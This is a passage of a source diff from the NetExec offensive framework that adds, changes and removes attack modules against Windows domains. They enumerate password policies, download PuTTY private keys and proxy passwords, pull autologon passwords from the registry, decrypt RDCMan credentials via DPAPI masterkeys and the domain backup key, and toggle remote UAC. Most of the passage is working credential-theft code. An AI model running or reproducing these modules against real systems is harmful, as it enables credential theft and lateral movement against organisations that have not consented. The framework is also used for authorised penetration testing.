                     credz_bh = []
                     try:
@@ -153,10 +150,3 @@ class NXCModule:
                         add_user_bh(credz_bh, None, context.log, connection.config)
                 except Exception as e:
                     context.log.fail("Error openning dump file", str(e))
-
-    def delete_procdump_binary(self, connection, context):
-        try:
-            connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
-            context.log.success(f"Deleted procdump file on the {self.share} share")
-        except Exception as e:
-            context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")

nxc/modules/pso.py

@@ -1,111 +1,92 @@
-from dateutil.relativedelta import relativedelta as rd
 from impacket.ldap import ldapasn1 as ldapasn1_impacket
+from impacket.ldap import ldap as ldap_impacket
+from math import fabs
 
 
 class NXCModule:
     """
-    Initial FGPP/PSO script written by @n00py: https://github.com/n00py/GetFGPP
-
-    Module by @_sandw1ch
+    Created by fplazar and wanetty
+    Module by @gm_eduard and @ferranplaza
+    Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
     """
+
     name = "pso"
-    description = "Module to get the Fine Grained Password Policy/PSOs"
+    description = "Query to get PSO from LDAP"
     supported_protocols = ["ldap"]
     opsec_safe = True
-    multiple_hosts = False
+    multiple_hosts = True
 
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
+    pso_fields = [
+        "cn",
+        "msDS-PasswordReversibleEncryptionEnabled",
+        "msDS-PasswordSettingsPrecedence",
+        "msDS-MinimumPasswordLength",
+        "msDS-PasswordHistoryLength",
+        "msDS-PasswordComplexityEnabled",
+        "msDS-LockoutObservationWindow",
+        "msDS-LockoutDuration",
+        "msDS-LockoutThreshold",
+        "msDS-MinimumPasswordAge",
+        "msDS-MaximumPasswordAge",
+        "msDS-PSOAppliesTo",
+    ]
 
     def options(self, context, module_options):
         """No options available."""
 
+    def convert_time_field(self, field, value):
+        time_fields = {"msDS-LockoutObservationWindow": (60, "mins"), "msDS-MinimumPasswordAge": (86400, "days"), "msDS-MaximumPasswordAge": (86400, "days"), "msDS-LockoutDuration": (60, "mins")}
+
+        if field in time_fields:
+            value = f"{int(fabs(float(value)) / (10000000 * time_fields[field][0]))} {time_fields[field][1]}"
+
+        return value
+
     def on_login(self, context, connection):
-        # Are there even any FGPPs?
-        context.log.success("Attempting to enumerate policies...")
-        resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
-        if len(resp) > 1:
-            context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
-            context.log.highlight("")
-            context.log.success("Attempting to enumerate objects with an applied policy...")
+        """Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
+        # Building the search filter
+        search_filter = "(objectClass=msDS-PasswordSettings)"
 
-        # Who do they apply to?
-        resp = connection.search(searchFilter="(objectclass=*)", attributes=["DistinguishedName", "msDS-PSOApplied"])
-        for attrs in resp:
-            if isinstance(attrs, ldapasn1_impacket.SearchResultEntry) is not True:
+        try:
+            context.log.debug(f"Search Filter={search_filter}")
+            resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=self.pso_fields, sizeLimit=0)
+        except ldap_impacket.LDAPSearchError as e:
+            if e.getErrorString().find("sizeLimitExceeded") >= 0:
+                context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
+                # paged queries
+                resp = e.getAnswers()
+            else:
+                context.log.debug(e)
+                return False
+
+        pso_list = []
+
+        context.log.debug(f"Total of records returned {len(resp)}")
+        for item in resp:
+            if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
                 continue
-            for attr in attrs["attributes"]:
-                if str(attr["type"]) in "msDS-PSOApplied":
-                    context.log.highlight(f"Object: {attrs['objectName']}")
-                    context.log.highlight("Applied Policy: ")
-                    for value in attr["vals"]:
-                        context.log.highlight(f"\t{value}")
-                    context.log.highlight("")
 
-        # Let"s find out even more details!
-        context.log.success("Attempting to enumerate details...\n")
-        resp = connection.search(searchFilter="(objectclass=msDS-PasswordSettings)",
-                                 attributes=["name", "msds-lockoutthreshold", "msds-psoappliesto", "msds-minimumpasswordlength",
-                                             "msds-passwordhistorylength", "msds-lockoutobservationwindow", "msds-lockoutduration",
-                                             "msds-passwordsettingsprecedence", "msds-passwordcomplexityenabled", "Description",
-                                             "msds-passwordreversibleencryptionenabled", "msds-minimumpasswordage", "msds-maximumpasswordage"])
-        for attrs in resp:
-            if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
-                continue
-            policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
-            for attr in attrs["attributes"]:
-                if str(attr["type"]) == "name":
-                    policyName = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-LockoutThreshold":
-                    lockoutThreshold = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-MinimumPasswordLength":
-                    passwordLength = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-PasswordHistoryLength":
-                    passwordhistorylength = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-LockoutObservationWindow":
-                    observationWindow = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-LockoutDuration":
-                    lockoutDuration = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-PasswordSettingsPrecedence":
-                    precedence = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-PasswordComplexityEnabled":
-                    complexity = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-PasswordReversibleEncryptionEnabled":
-                    reverseibleEncryption = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-MinimumPasswordAge":
-                    minPassAge = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-MaximumPasswordAge":
-                    maxPassAge = attr["vals"][0]
-                elif str(attr["type"]) == "description":
-                    description = attr["vals"][0]
-                elif str(attr["type"]) == "msDS-PSOAppliesTo":
-                    policyApplies = ""
-                    for value in attr["vals"]:
-                        policyApplies += f"{value};"
-            context.log.highlight(f"Policy Name: {policyName}")
-            if description:
-                context.log.highlight(f"Description: {description}")
-            context.log.highlight(f"Minimum Password Length: {passwordLength}")
-            context.log.highlight(f"Minimum Password History Length: {passwordhistorylength}")
-            context.log.highlight(f"Lockout Threshold: {lockoutThreshold}")
-            context.log.highlight(f"Observation Window: {mins(observationWindow)}")
-            context.log.highlight(f"Lockout Duration: {mins(lockoutDuration)}")
-            context.log.highlight(f"Complexity Enabled: {complexity}")
-            context.log.highlight(f"Minimum Password Age: {days(minPassAge)}")
-            context.log.highlight(f"Maximum Password Age: {days(maxPassAge)}")
-            context.log.highlight(f"Reversible Encryption: {reverseibleEncryption}")
-            context.log.highlight(f"Precedence: {precedence} (Lower is Higher Priority)")
-            context.log.highlight("Policy Applies to:")
-            for value in str(policyApplies)[:-1].split(";"):
-                if value:
-                    context.log.highlight(f"\t{value}")
-            context.log.highlight("")
+            pso_info = {}
 
+            try:
+                for attribute in item["attributes"]:
+                    attr_name = str(attribute["type"])
+                    if attr_name in self.pso_fields:
+                        pso_info[attr_name] = attribute["vals"][0]._value.decode("utf-8")
 
-def days(ldap_time):
-    return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).days} days"
+                pso_list.append(pso_info)
 
-
-def mins(ldap_time):
-    return f"{rd(seconds=int(abs(int(ldap_time)) / 10000000)).minutes} minutes"
+            except Exception as e:
+                context.log.debug("Exception:", exc_info=True)
+                context.log.debug(f"Skipping item, cannot process due to error {e}")
+        if len(pso_list) > 0:
+            context.log.success("Password Settings Objects (PSO) found:")
+            for pso in pso_list:
+                for field in self.pso_fields:
+                    if field in pso:
+                        value = self.convert_time_field(field, pso[field])
+                        context.log.highlight(f"{field}: {value}")
+                context.log.highlight("-----")
+        else:
+            context.log.info("No Password Settings Objects (PSO) found.")

nxc/modules/putty.py

@@ -1,225 +0,0 @@
-from datetime import datetime
-from io import BytesIO
-import traceback
-from urllib.parse import unquote
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-from os import makedirs
-from nxc.helpers.logger import highlight
-from nxc.paths import NXC_PATH
-import re
-
-
-class NXCModule:
-    """Module by @NeffIsBack"""
-
-    name = "putty"
-    description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self):
-        self.context = None
-        self.module_options = None
-        self.rrp = None
-
-    def options(self, context, module_options):
-        """No options available"""
-
-    def get_logged_on_users(self):
-        """Enumerate all logged in and loaded Users on System"""
-        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-
-        # Get User Names
-        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
-        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-        # Filter legit users in regex
-        user_objects.remove(".DEFAULT")
-        regex = re.compile(r"^.*_Classes$")
-        return [i for i in user_objects if not regex.match(i)]
-
-    def get_all_users(self):
-        """Get all users that have logged in at some point in time"""
-        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
-        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
-        users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-
-        # Get User Names
-        user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
-        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-        return user_objects
-
-    def sid_to_name(self, all_users):
-        """Convert SID to Usernames for better readability"""
-        reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
-
-        user_dict = {}
-        for user_object in all_users:
-            key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
-            user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
-            rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-            user_dict[user_object] = user_profile_path.split("\\")[-1]
-        return user_dict
-
-    def load_missing_users(self, unloaded_user_objects):
-        """Load missing users into registry to access their registry keys."""
-        for user_object in unloaded_user_objects:
-            try:
-                # Extract profile Path of NTUSER.DAT
-                reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
-                key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
-                user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
-                rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-                # Load Profile
-                reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-                key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-
-                self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
-                rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
-                rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-            except rrp.DCERPCSessionError as e:
-                self.context.log.fail(f"Error loading user {user_object} into registry: {e}")
-                self.context.log.debug(traceback.format_exc())
-
-    def unload_missing_users(self, unloaded_user_objects):
-        """If some user were not logged in at the beginning we unload them from registry."""
-        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-        key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
-
-        for user_object in unloaded_user_objects:
-            self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
-            try:
-                rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
-            except rrp.DCERPCSessionError as e:
-                self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
-                self.context.log.debug(traceback.format_exc())
-        rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-    def get_private_key_paths(self, all_users):
-        """Get all private key paths for all users"""
-        sessions = []
-        reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
-
-        for user in all_users:
-            try:
-                key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
-                reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
-                self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
-
-                # Get Session Names
-                session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
-                rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-                # Extract stored Session infos
-                for session_name in session_names:
-                    key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
-
-                    # Get private Key Path
-                    private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
-                    proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
-                    proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
-                    proxy_username = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyUsername")[1].split("\x00")[:-1][0]
-                    proxy_password = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPassword")[1].split("\x00")[:-1][0]
-
-                    # Session infos
-                    hostname = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "HostName")[1].split("\x00")[:-1][0]
-                    port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PortNumber")[1]
-                    protocol = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "Protocol")[1].split("\x00")[:-1][0]
-                    sessions.append({
-                        "user": self.user_dict[user],
-                        "session_name": unquote(session_name),
-                        "hostname": hostname,
-                        "port": port,
-                        "protocol": protocol,
-                        "private_key_path": private_key_path,
-                        "proxy_host": proxy_host,
-                        "proxy_port": proxy_port,
-                        "proxy_username": proxy_username,
-                        "proxy_password": proxy_password
-                    })
-                    rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
-
-            except DCERPCException as e:
-                if str(e).find("ERROR_FILE_NOT_FOUND"):
-                    self.context.log.debug(f"No PuTTY session config found in registry for user {self.user_dict[user]}")
-            except Exception as e:
-                self.context.log.fail(f"Unexpected error: {e}")
-                self.context.log.debug(traceback.format_exc())
-        return sessions
-
-    def extract_session(self, sessions):
-        proxycreds_file = f"{NXC_PATH}/modules/PuTTY/putty_proxycreds_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
-        for session in sessions:
-            if session["private_key_path"]:
-                makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
-                share = session["private_key_path"].split(":")[0] + "$"
-                file_path = session["private_key_path"].split(":")[1]
-                download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec".replace(":", "-")
-
-                buf = BytesIO()
-                with open(download_path, "wb") as file:
-                    try:
-                        self.connection.conn.getFile(share, file_path, buf.write)
-                    except Exception as e:
-                        if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") != -1:
-                            self.context.log.fail(f"Private key path found but file not found: {share + file_path}")
-                        else:
-                            self.context.log.exception(f"Error downloading private key: {e}")
-                        continue
-                    file.write(buf.getvalue())
-                self.context.log.success(f"Private key found for user \"{session['user']}\", saved to {highlight(download_path)}")
-                self.context.log.highlight(f"Sessionname: {session['session_name']}")
-                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
-                self.context.log.highlight(f"Protocol: {session['protocol']}")
-            if session["proxy_password"]:
-                self.context.log.success(f"Found proxy credentials for user \"{session['user']}\"")
-                self.context.log.highlight(f"Sessionname: {session['session_name']}")
-                self.context.log.highlight(f"Host: {session['hostname']}:{session['port']}")
-                self.context.log.highlight(f"Protocol: {session['protocol']}")
-                self.context.log.highlight(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}")
-                self.context.log.highlight(f"Proxy Username: {session['proxy_username']}")
-                self.context.log.highlight(f"Proxy Password: {session['proxy_password']}")
-                with open(proxycreds_file, "a") as f:
-                    f.write("================\n")
-                    f.write(f"User: {session['user']}\n")
-                    f.write(f"Sessionname: {session['session_name']}\n")
-                    f.write(f"Host: {session['hostname']}:{session['port']}\n")
-                    f.write(f"Protocol: {session['protocol']}\n")
-                    f.write(f"Proxy Host: {session['proxy_host']}:{session['proxy_port']}\n")
-                    f.write(f"Proxy Username: {session['proxy_username']}\n")
-                    f.write(f"Proxy Password: {session['proxy_password']}\n")
-                self.context.log.display(f"Proxy credentials saved to {highlight(proxycreds_file)}")
-
-    def on_admin_login(self, context, connection):
-        self.connection = connection
-        self.context = context
-
-        try:
-            self.rrp = RemoteOperations(connection.conn, connection.kerberos)
-            self.rrp.enableRegistry()
-
-            all_users = self.get_all_users()
-            loaded_user_objects = self.get_logged_on_users()
-            self.user_dict = self.sid_to_name(all_users)
-
-            # Users which must be loaded into registry:
-            unloaded_user_objects = list(set(all_users).symmetric_difference(set(loaded_user_objects)))
-            self.load_missing_users(unloaded_user_objects)
-
-            sessions = self.get_private_key_paths(all_users)
-            if sessions:
-                self.extract_session(sessions)
-            else:
-                self.context.log.info("No saved putty sessions found in registry")
-
-            self.unload_missing_users(unloaded_user_objects)
-        except Exception as e:
-            context.log.exception(f"Error: {e}")
-        finally:
-            self.rrp.finish()

nxc/modules/rdcman.py

@@ -1,8 +1,10 @@
-from dploot.triage.rdg import RDGTriage, RDGServerProfile
+from dploot.triage.rdg import RDGTriage
+from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
+from dploot.triage.backupkey import BackupkeyTriage
 from dploot.lib.target import Target
+from dploot.lib.smb import DPLootSMBConnection
 
 from nxc.helpers.logger import highlight
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
 
 
 class NXCModule:
@@ -13,34 +15,98 @@ class NXCModule:
     multiple_hosts = True
 
     def options(self, context, module_options):
-        """ """
+        """
+        PVK             Domain backup key file
+        MKFILE          File with masterkeys in form of {GUID}:SHA1
+        """
+        self.pvkbytes = None
+        self.masterkeys = None
+
+        if "PVK" in module_options:
+            self.pvkbytes = open(module_options["PVK"], "rb").read()  # noqa: SIM115
+
+        if "MKFILE" in module_options:
+            self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
+            self.pvkbytes = open(module_options["MKFILE"], "rb").read()  # noqa: SIM115
 
     def on_admin_login(self, context, connection):
+        host = connection.hostname + "." + connection.domain
+        domain = connection.domain
         username = connection.username
+        kerberos = connection.kerberos
+        aesKey = connection.aesKey
+        use_kcache = getattr(connection, "use_kcache", False)
         password = getattr(connection, "password", "")
+        lmhash = getattr(connection, "lmhash", "")
         nthash = getattr(connection, "nthash", "")
 
-        self.pvkbytes = get_domain_backup_key(connection)
+        if self.pvkbytes is None:
+            try:
+                dc = Target.create(
+                    domain=domain,
+                    username=username,
+                    password=password,
+                    target=domain,
+                    lmhash=lmhash,
+                    nthash=nthash,
+                    do_kerberos=kerberos,
+                    aesKey=aesKey,
+                    no_pass=True,
+                    use_kcache=use_kcache,
+                )
+
+                dc_conn = DPLootSMBConnection(dc)
+                dc_conn.connect()
+
+                if dc_conn.is_admin:
+                    context.log.success("User is Domain Administrator, exporting domain backupkey...")
+                    backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
+                    backupkey = backupkey_triage.triage_backupkey()
+                    self.pvkbytes = backupkey.backupkey_v2
+            except Exception as e:
+                context.log.debug(f"Could not get domain backupkey: {e}")
 
         target = Target.create(
-            domain=connection.domain,
+            domain=domain,
             username=username,
             password=password,
-            target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
-            lmhash=getattr(connection, "lmhash", ""),
+            target=host,
+            lmhash=lmhash,
             nthash=nthash,
-            do_kerberos=connection.kerberos,
-            aesKey=connection.aesKey,
+            do_kerberos=kerberos,
+            aesKey=aesKey,
             no_pass=True,
-            use_kcache=getattr(connection, "use_kcache", False),
+            use_kcache=use_kcache,
         )
-        
-        conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
-        if conn is None:
-            context.log.debug("Could not upgrade connection")
+
+        conn = None
+
+        try:
+            conn = DPLootSMBConnection(target)
+            conn.smb_session = connection.conn
+        except Exception as e:
+            context.log.debug(f"Could not upgrade connection: {e}")
             return
 
-        self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
+        plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
+        nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
+        if password != "":
+            plaintexts[username] = password
+        if nthash != "":
+            nthashes[username] = nthash
+
+        if self.masterkeys is None:
+            try:
+                masterkeys_triage = MasterkeysTriage(
+                    target=target,
+                    conn=conn,
+                    pvkbytes=self.pvkbytes,
+                    passwords=plaintexts,
+                    nthashes=nthashes,
+                )
+                self.masterkeys = masterkeys_triage.triage_masterkeys()
+            except Exception as e:
+                context.log.debug(f"Could not get masterkeys: {e}")
 
         if len(self.masterkeys) == 0:
             context.log.fail("No masterkeys looted")
@@ -55,17 +121,17 @@ class NXCModule:
                 if rdcman_file is None:
                     continue
                 for rdg_cred in rdcman_file.rdg_creds:
-                    log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
-                    if isinstance(rdg_cred, RDGServerProfile):
-                        log_text = f"{rdg_cred.server_name} - {log_text}"
+                    if rdg_cred.type in ["cred", "logon", "server"]:
+                        log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
                         context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
+                        
             for rdgfile in rdgfiles:
                 if rdgfile is None:
                     continue
                 for rdg_cred in rdgfile.rdg_creds:
-                    log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
-                    if isinstance(rdg_cred, RDGServerProfile):
+                    log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
+                    if rdg_cred.type == "server":
                         log_text = f"{rdg_cred.server_name} - {log_text}"
-                    context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
+                    context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
         except Exception as e:
             context.log.debug(f"Could not loot RDCMan secrets: {e}")

nxc/modules/rdp.py

@@ -83,7 +83,7 @@ class NXCModule:
 
             wmi_rdp = RdpWmi(context, connection, self.dcom_timeout)
 
-            if hasattr(wmi_rdp, "_RdpWmi__iWbemLevel1Login"):
+            if hasattr(wmi_rdp, "_rdp_WMI__iWbemLevel1Login"):
                 if "ram" in self.action:
                     # Nt version under 6 not support RAM.
                     try:
@@ -101,7 +101,7 @@ class NXCModule:
                             context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
                         else:
                             context.log.fail(str(e))
-                wmi_rdp._RdpWmi__dcom.disconnect()
+                wmi_rdp._rdp_WMI__dcom.disconnect()
 
 
 class RdpSmb:
@@ -218,7 +218,6 @@ class RdpWmi:
         self.__target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         self.__doKerberos = connection.kerberos
         self.__kdcHost = connection.kdcHost
-        self.__remoteHost = connection.host
         self.__aesKey = connection.aesKey
         self.__timeout = timeout
 
@@ -234,12 +233,11 @@ class RdpWmi:
                 oxidResolver=True,
                 doKerberos=self.__doKerberos,
                 kdcHost=self.__kdcHost,
-                remoteHost=self.__remoteHost,
             )
 
             i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
             if self.__currentprotocol == "smb":
-                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__remoteHost, self.__timeout)
+                flag, self.__stringBinding = dcom_FirewallChecker(i_interface, self.__timeout)
                 if not flag or not self.__stringBinding:
                     error_msg = f'RDP-WMI: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the module option "DCOM-TIMEOUT=10". If it\'s still failing maybe something is blocking the RPC connection, please try to use "-o" with "METHOD=smb"'
 

nxc/modules/recent_files.py

@@ -1,39 +0,0 @@
-import pylnk3
-from io import BytesIO
-
-
-class NXCModule:
-    # Get a list of recently modified files via LNK's stored in AppData\Roaming\Microsoft\Windows\Recent
-    # Module by @Defte_
-
-    name = "recent_files"
-    description = "Extracts recently modified files"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-    false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
-
-    def options(self, context, module_options):
-        """No options"""
-
-    def on_admin_login(self, context, connection):
-        lnks = []
-        for directory in connection.conn.listPath("C$", "Users\\*"):
-            if directory.get_longname() not in self.false_positive and directory.is_directory():
-                context.log.highlight(f"C:\\{directory.get_longname()}")
-                recent_files_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\"
-                for file in connection.conn.listPath("C$", f"{recent_files_dir}\\*"):
-                    file_path = f"{recent_files_dir}{file.get_longname()}"
-                    if file.get_longname() not in self.false_positive and not file.is_directory():
-                        file_path = f"{recent_files_dir}{file.get_longname()}"
-                        try:
-                            buf = BytesIO()
-                            connection.conn.getFile("C$", file_path, buf.write)
-                            buf.seek(0)
-                            lnk = pylnk3.parse(buf).path.strip()
-                            if lnk and lnk not in lnks:
-                                context.log.highlight(f"\t{lnk}")
-                                lnks.append(lnk)
-                        except Exception as e:
-                            # Sometimes PyLnk3 can't parse the lnk file...
-                            context.log.debug(f"Couldn't open {file_path} because of {e}")

nxc/modules/reg-winlogon.py

@@ -1,46 +0,0 @@
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-
-class NXCModule:
-    r"""
-    WinLogon AutoLogon: extract the credential from the following registry hive
-    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
-    Module by @pentest_swissky
-    """
-
-    name = "reg-winlogon"
-    description = "Collect autologon credential stored in the registry"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        """ """
-
-    def on_admin_login(self, context, connection):
-        remoteOps = RemoteOperations(connection.conn, False)
-        remoteOps.enableRegistry()
-
-        ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
-        regHandle = ans["phKey"]
-        ans = rrp.hBaseRegOpenKey(
-            remoteOps._RemoteOperations__rrp,
-            regHandle,
-            "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
-        )
-        keyHandle = ans["phkResult"]
-        
-        reg_keys = ["AutoAdminLogon", "DefaultDomainName", "DefaultUserName", "DefaultPassword"]
-        for reg_key in reg_keys:
-            try:
-                dataType, reg_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, reg_key)
-                context.log.highlight(f"{reg_key}: {reg_value}")
-            except Exception:
-                context.log.highlight(f"{reg_key}:")
-
-        rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
-        remoteOps.finish()

nxc/modules/remote-uac.py

@@ -1,65 +0,0 @@
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-
-
-class NXCModule:
-    """Module by @Defte_"""
-    name = "remote-uac"
-    description = "Enable or disable remote UAC"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-        self.action = None
-
-    def options(self, context, module_options):
-        """
-        Enables UAC (prevent non RID500 account to get high priv token remotely)
-        Disables UAC (allow non RID500 account to get high priv token remotely)
-
-        ACTION:     "enable" or "disable" (required)
-        """
